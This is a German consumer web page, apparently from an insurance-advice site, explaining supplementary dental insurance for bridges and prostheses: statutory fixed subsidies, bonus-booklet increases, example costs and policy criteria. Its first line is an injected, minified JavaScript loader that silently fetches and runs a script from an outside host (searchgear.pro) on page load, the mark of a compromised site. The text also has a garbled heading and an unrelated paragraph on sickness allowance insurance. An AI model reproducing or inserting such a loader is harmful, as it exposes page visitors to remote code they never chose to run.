;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Zahnzusatzversicherungen – Brücken und Prothesen | Krankenkassenwechsel Zahnzusatzversicherungen - Brücken und Prothesen | Krankenkassenwechsel

Zahnzusatzversicherung für Brücken und Prothesen

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ZZahnzusatzversicherung für Prothesenahnprothetik mit einer Zusatzversicherung absichern

Eigenbeteiligungen und Zuzahlungen gehören heutzutage im Gesundheitswesen zum Alltag. Besonders tief müssen die Deutschen beim Zahnarzt in die Brieftasche greifen. Die gesetzliche Krankenversicherung (GKV) übernimmt selbst bei regelmäßiger Zahnvorsorge nur noch einen Bruchteil der anfallenden Kosten einer Zahnprothetik.

Befundorientierte Festzuschüsse bei der Zahnprothetik

Seit 2005 werden in der GKV befundorientierte Festzuschüsse gezahlt. Ist das Bonusheft in den letzten zehn Jahren lückenlos geführt, erhöhen sich die Festzuschüsse um 30 Prozent. Wer nur in den letzten fünf Jahren regelmäßig beim Zahnarzt war, erhält 20 Prozent mehr. Trotzdem übersteigt bei einer umfangreichen Zahnversorgung mit einer Brücke oder Prothese die Eigenbeteiligung schnell die 1000 €-Grenze.

Anteil der GKV an Zahnprothesen

Wünschen GKV-Versicherte eine von der Regelversorgung abweichende Brückenversorgung müssen sie die Mehrkosten allein zahlen. Versicherte, die bereits eine Brücke oder Prothese tragen, erhalten vielfach eine Ablehnung ihrer Krankenkasse, wenn sie den bestehenden Zahnersatz erneuern möchten. Gut wer dann eine Zahnzusatzversicherung hat!

Grundsätzlich erstattet eine Zahnzusatzversicherung nach Abzug des von der GKV gezahlten Festzuschusses bis zu 100 % der Zahnarztrechnung. In den Versicherungsschutz ist meistens auch die Erneuerung von Brücken und Prothesen enthalten. Einzige Einschränkung: Diese müssen beim Vertragsabschluss noch intakt gewesen sein.

Privat Krankenversicherte können im Gegensatz zu den Versicherten der GKV mit einer Erstattung in Höhe von 60 – 90 % der Gesamtkosten rechnen.

Leistungen der Zusatzversicherungen für Prothesen

Krankentagegeldversicherungen sichern Sie im Krankheitsfall finanziell ab. Der Versicherungsumfang kann unter Berücksichtigung Ihres Versorgungsbedarfs bezüglich Leistungshöhe und Leistungsdauer individuell vereinbart werden. Die Ansprüche bleiben auch bei beruflichen Änderungen bestehen. Was eine Krankentagegeldversicherung leistet, erfahren Sie hier:

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Fehlender Backenzahn

Die GKV bezahlt im Rahmen der Regelversorgung ca. die Hälfte der Brücke. Die ggf. zahnärztlich empfohlene Verblendung wird nicht bezuschusst.

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Fehlende Zähne im Frontzahnbereich

Bei einem Ersatz der vorderen Zähne spielt die Ästhetik eine große Rolle. Eine Frontzahnbrücke aus Vollkeramik kosten heute allerdings ca. 2500 €. Der Zuschuss der GKV liegt dagegen nur bei rund 550 €.

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Brückenversorgung bei einer Freiendsituation

Fehlt der hinterste Backenzahn zahlt bei einer geplanten Brückenversorgung die GKV nur den Festzuschuss für eine herausnehmbare Prothese.

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Festsitzende Prothese

Die Richtlinien der GKV sehen für eine festsitzende Prothese keine medizinische Notwendigkeit. Daher wird nur herausnehmbarer Zahnersatz bezuschusst.

Lohnt eine Zahnzusatzversicherung immer?

60 % aller befragten Deutschen, die eine Brücke oder Prothese besitzen, sind mit dieser unzufrieden. Die Nachfrage nach Zahnzusatzversicherungen, die auch die Erneuerung eines bestehenden Zahnersatzes einschließen, ist groß. Daher bieten immer mehr Versicherer entsprechende Tarife an. Das finanzielle Risiko lassen sich die Anbieter mit vergleichsweise geringen Zuschlägen bezahlen.

Bei Vertragsabschluss sollten Sie aber ganz genau auf die Versicherungsbedingungen achten. Zum einen muss die Brücke oder Prothese beim Vertragsabschluss intakt sein. Ihr Zahnarzt darf zu diesem Zeitpunkt noch keine Erneuerung empfohlen haben. Einige Zahnzusatzversicherer zahlen nicht für die Versorgung fehlender Zähne. Erkundigen Sie sich, ob mit einer Brücke oder Prothese versorgte Zähne auch als fehlende Zähne angesehen werden.

Zahnzusatzversicherung für Brücken und Prothesen – Beratung ist wichtig!

Bereits die Frage, wie definiert der Krankenversicherer den Begriff „fehlender Zahn“, zeigt, wie wichtig eine ausführliche Beratung beim Abschluss einer Zahnzusatzversicherung ist. Unsere unabhängigen und zertifizierten Gesundheitsberater nehmen sich am Telefon die dafür erforderliche Zeit.

Grundsätzlich empfiehlt sich immer, eine Zahnzusatzversicherung so zeitig wie möglich abzuschließen. In einzelnen Fällen kann eine Police ohne Wartezeit sinnvoll sein. Unsere Berater betrachten Ihre persönliche Versorgungssituation. Folgende Kriterien müssen bei der Wahl einer Zahnzusatzversicherung beachtet werden:

– Welche Summenbegrenzungen für die ersten Versicherungsjahre sind angemessen?
– Muss die Versorgung fehlender Zähne in den Versicherungsschutz eingeschlossen werden?
– Welche Kosten werden beim Ersatz einer bestehenden Brücke oder Prothese übernommen?
– Ist die Erstattungshöhe von der Vorlage eines Bonusheftes abhängig?
– Erfolgt eine Zahlung unabhängig von der Vorleistung der GKV?

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